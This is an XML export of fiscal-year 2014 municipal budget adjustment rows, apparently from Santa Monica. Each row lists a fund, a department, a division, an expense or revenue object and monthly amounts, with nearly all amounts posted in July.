<row _id="8851"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>19479.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19479.0</total></row>
<row _id="8852"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>555990.0</object><object_description>PARKING AGREEMENT W / MACERICH</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8853"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>401420.0</object><object_description>TRANSACTION AND USE TAX</object_description><category_code>604.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8854"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>558</division_id><division_name>BEACH MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8855"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>558</division_id><division_name>BEACH MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8856"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>558</division_id><division_name>BEACH MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8857"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>558</division_id><division_name>BEACH MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8858"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>558</division_id><division_name>BEACH MAINTENANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8859"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>558</division_id><division_name>BEACH MAINTENANCE</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8860"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>405670.0</object><object_description>HBP-FHWA PIER BRIDGE</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-750000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-750000.0</total></row>
<row _id="8861"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>540590.0</object><object_description>EMPLOYEE RECOGNITION &amp; APPRECI</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1100.0</total></row>
<row _id="8862"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>558</division_id><division_name>BEACH MAINTENANCE</division_name><object>578920.0</object><object_description>PROP A-MAINT (NOT LOCAL RETRN)</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8863"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-16014.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-16014.0</total></row>
<row _id="8864"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-31075.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-31075.0</total></row>
<row _id="8865"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-2290.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2290.0</total></row>
<row _id="8866"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-2474.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2474.0</total></row>
<row _id="8867"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-359.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-359.0</total></row>
<row _id="8868"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-1718.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1718.0</total></row>
<row _id="8869"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-35533.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-35533.0</total></row>
<row _id="8870"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-4925.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4925.0</total></row>
<row _id="8871"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-4246.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4246.0</total></row>
<row _id="8872"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577723.0</object><object_description>CDBG - OTHER PROGRAMS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>300000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>300000.0</total></row>
<row _id="8873"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409005.0</object><object_description>CHILDCARE-JANUARY</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-31130.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-31130.0</total></row>
<row _id="8874"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409041.0</object><object_description>ELEM SPORTS-FALL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-54358.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-54358.0</total></row>
<row _id="8875"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409052.0</object><object_description>MIDDLE SPORTS-WINTER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-22332.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-22332.0</total></row>
<row _id="8876"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>409063.0</object><object_description>SMSE-SUMMER</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-43669.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-43669.0</total></row>
<row _id="8877"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>556170.0</object><object_description>SOLD FLOWERS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>11000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11000.0</total></row>
<row _id="8878"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4638.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4638.0</total></row>
<row _id="8879"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>15000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="8880"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3466.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3466.0</total></row>
<row _id="8881"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1600.0</total></row>
<row _id="8882"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1104383.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1104383.0</total></row>
<row _id="8883"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>20819.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20819.0</total></row>
<row _id="8884"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5299.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5299.0</total></row>
<row _id="8885"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15000.0</total></row>
<row _id="8886"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2287.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2287.0</total></row>
<row _id="8887"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2533.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2533.0</total></row>
<row _id="8888"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400882.0</object><object_description>SPC HAP TRA</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-1526948.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1526948.0</total></row>
<row _id="8889"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="8890"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>379.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>379.0</total></row>
<row _id="8891"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="8892"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>13133.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13133.0</total></row>
<row _id="8893"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>185819.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>185819.0</total></row>
<row _id="8894"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7000.0</total></row>
<row _id="8895"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>21500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>21500.0</total></row>
<row _id="8896"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>6500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6500.0</total></row>
<row _id="8897"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
